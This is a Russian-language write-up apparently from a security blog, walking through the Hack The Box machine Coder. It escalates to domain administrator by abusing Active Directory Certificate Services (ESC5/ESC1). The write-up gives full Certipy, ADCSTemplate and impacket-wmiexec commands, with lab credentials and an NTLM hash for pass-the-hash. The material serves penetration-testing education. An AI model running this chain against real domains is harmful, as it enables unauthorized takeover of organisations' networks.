Мы уже многократно рассказывали про повышение привилегий в Windows. В этот раз, на примере уязвимой виртуальной машины Coder с площадки Hack The Box, будем использовать технику ESC5 для повышения привилегий через мисконфиг службы сертификации Active Directory.
Еще по теме: Повышение привилегий Windows с помощью C++
ESC5 — повышение привилегий через мисконфиг AD
Теперь получим информацию о пользователе. Нас интересуют активные привилегии и группы, в которых он состоит.
1 |
whoami /all |
И пользователь состоит в группах Certificate Service DCOM Access и PKI Admins, а это дает нам право на регистрацию шаблонов сертификатов в службе сертификации Active Directory (AD CS) и на выпуск сертификатов. Эти условия позволяют нам повысить привилегии в домене. Применяемая нами техника называется ESC5.
Давай зарегистрируем заранее уязвимый шаблон сертификата, для которого применима техника повышения привилегий ESC1. Взять его можно на GitHub. А регистрировать шаблон будем с помощью ADCSTemplate для группы PKI Admins.
1 2 |
Import-Module .\ADCSTemplate.psm1 New-ADCSTemplate -DisplayName RalfESC1 -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "CODER\PKI Admins" |
Теперь используем Certipy, чтобы получить данные о центре сертификации и существующих шаблонах.
1 |
certipy-ad find -username 'e.black@coder.htb' -password 'ypOSJXPqlDOxxbQSfEERy300' |
Видим созданный нами шаблон сертификата и можем запросить выпуск сертификата для пользователя Administrator.
1 |
certipy-ad req -username 'e.black@coder.htb' -password 'ypOSJXPqlDOxxbQSfEERy300' -ca coder-DC01-CA -target 10.10.11.207 -template RalfESC1 -upn 'Administrator@coder.htb' -dns dc01.coder.htb |
Теперь у нас есть сертификат, разрешающий аутентификацию пользователя. По этому сертификату можем получить NTLM-хеш пароля пользователя и выполнить атаку path the hash. Но есть маленький нюанс — нужно синхронизировать время с удаленным сервером, используя команду ntpdate.
1 2 3 |
sudo timedatectl set-ntp 0 sudo ntpdate -s 10.10.11.207 certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 10.10.11.207 |
Теперь возвращаем время своей машины обратно и подключаемся к серверу по WMI с полученным хешем.
1 2 3 |
sudo timedatectl set-ntp 1 sudo ntpdate -s ntp.org impacket-wmiexec coder.htb/administrator@dc01.coder.htb -hashes :807726fcf9f188adc26eeafd7dc16bb7 |
ПОЛЕЗНЫЕ ССЫЛКИ:
- Автоматизация повышения привилегий Windows
- Повышение привилегий через сброс пароля [IDOR]
- Повышение привилегий в Windows с помощью WinPEAS